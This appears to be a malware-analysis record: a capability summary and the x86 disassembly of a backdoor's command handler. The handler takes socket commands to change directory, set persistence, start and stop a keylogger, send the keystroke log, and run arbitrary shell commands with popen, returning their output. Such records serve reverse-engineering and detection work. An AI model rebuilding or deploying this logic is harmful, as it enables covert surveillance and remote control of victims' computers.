Function at 0x401ca4
Capabilities:
Contain obfuscated stackstrings
Create thread
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x5088
call fcn.00402ea0
sub esp, eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x80c]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x47d0
mov dword [esp + 4], 0
lea eax, [ebp - 0x4fdc]
mov dword [esp], eax
call sym._memset
mov eax, dword [0x408074]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._recv_16
sub esp, 0x10
mov eax, 0x40612d
movzx edx, byte [eax]
lea eax, [ebp - 0x40c]
movzx eax, byte [eax]
cmp dl, al
jne 0x401d6f
mov eax, dword [0x408074]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
call sym._WSACleanup_0
mov dword [esp], 0
call sym._exit
mov dword [esp + 8], 3
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov dword [esp], 0x40612f
call sym._strncmp
test eax, eax
jne 0x401dbc
mov dword [esp + 8], 0x64
mov dword [esp + 4], 3
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call dbg.str_cut
mov dword [esp], eax
call sym._chdir
jmp 0x401cb3
mov dword [esp + 8], 7
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov dword [esp], str.persist
call sym._strncmp
test eax, eax
jne 0x401de8
call dbg.bootRun
jmp 0x401cb3
mov dword [esp + 4], str.keylogger
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x401fb9
mov eax, dword [0x408020]
test eax, eax
jne 0x401f32
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], dbg.logg@0
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._CreateThread_24
sub esp, 0x18
mov dword [0x408078], eax
mov eax, dword [0x408078]
test eax, eax
jne 0x401ecf
mov dword [ebp - 0x4ff8], 0x6c696146
mov dword [ebp - 0x4ff4], 0x74206465
mov dword [ebp - 0x4ff0], 0x7473206f
mov dword [ebp - 0x4fec], 0x20747261
mov dword [ebp - 0x4fe8], 0x6c79656b
mov dword [ebp - 0x4fe4], 0x6567676f
mov dword [ebp - 0x4fe0], 0xa2e72
mov eax, dword [0x408074]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1c
lea eax, [ebp - 0x4ff8]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._send_16
sub esp, 0x10
jmp 0x401cb3
mov dword [ebp - 0x500c], 0x6c79654b
mov dword [ebp - 0x5008], 0x6567676f
mov dword [ebp - 0x5004], 0x74732072
mov dword [ebp - 0x5000], 0x65747261
mov dword [ebp - 0x4ffc], 0xa2e64
mov eax, dword [0x408074]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x14
lea eax, [ebp - 0x500c]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._send_16
sub esp, 0x10
jmp 0x401cb3
mov dword [ebp - 0x502b], 0x6c79654b
mov dword [ebp - 0x5027], 0x6567676f
mov dword [ebp - 0x5023], 0x73692072
mov dword [ebp - 0x501f], 0x726c6120
mov dword [ebp - 0x501b], 0x79646165
mov dword [ebp - 0x5017], 0x6e757220
mov dword [ebp - 0x5013], 0x676e696e
mov word [ebp - 0x500f], 0xa2e
mov byte [ebp - 0x500d], 0
mov eax, dword [0x408074]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1f
lea eax, [ebp - 0x502b]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._send_16
sub esp, 0x10
jmp 0x401cb3
mov dword [esp + 4], str.stop_keylogger
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x4020f6
mov eax, dword [0x408020]
test eax, eax
je 0x402079
mov dword [0x408020], 0
mov eax, dword [0x408078]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [0x408078]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov dword [ebp - 0x503f], 0x6c79654b
mov dword [ebp - 0x503b], 0x6567676f
mov dword [ebp - 0x5037], 0x74732072
mov dword [ebp - 0x5033], 0x6570706f
mov dword [ebp - 0x502f], 0xa2e64
mov eax, dword [0x408074]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x14
lea eax, [ebp - 0x503f]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._send_16
sub esp, 0x10
jmp 0x401cb3
mov dword [ebp - 0x505a], 0x6c79654b
mov dword [ebp - 0x5056], 0x6567676f
mov dword [ebp - 0x5052], 0x73692072
mov dword [ebp - 0x504e], 0x746f6e20
mov dword [ebp - 0x504a], 0x6e757220
mov dword [ebp - 0x5046], 0x676e696e
mov word [ebp - 0x5042], 0xa2e
mov byte [ebp - 0x5040], 0
mov eax, dword [0x408074]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1b
lea eax, [ebp - 0x505a]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._send_16
sub esp, 0x10
jmp 0x401cb3
mov dword [esp + 8], 4
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov dword [esp], str.send
call sym._strncmp
test eax, eax
jne 0x402122
call dbg.send_log_file
jmp 0x401cb3
mov dword [esp + 4], 0x406159
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sym.__popen
mov dword [ebp - 0xc], eax
jmp 0x402155
lea eax, [ebp - 0x80c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x4fdc]
mov dword [esp], eax
call sym._strcat
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x400
lea eax, [ebp - 0x80c]
mov dword [esp], eax
call sym._fgets
test eax, eax
jne 0x40213d
mov eax, dword [0x408074]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x47d0
lea eax, [ebp - 0x4fdc]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._send_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fclose
jmp 0x401cb3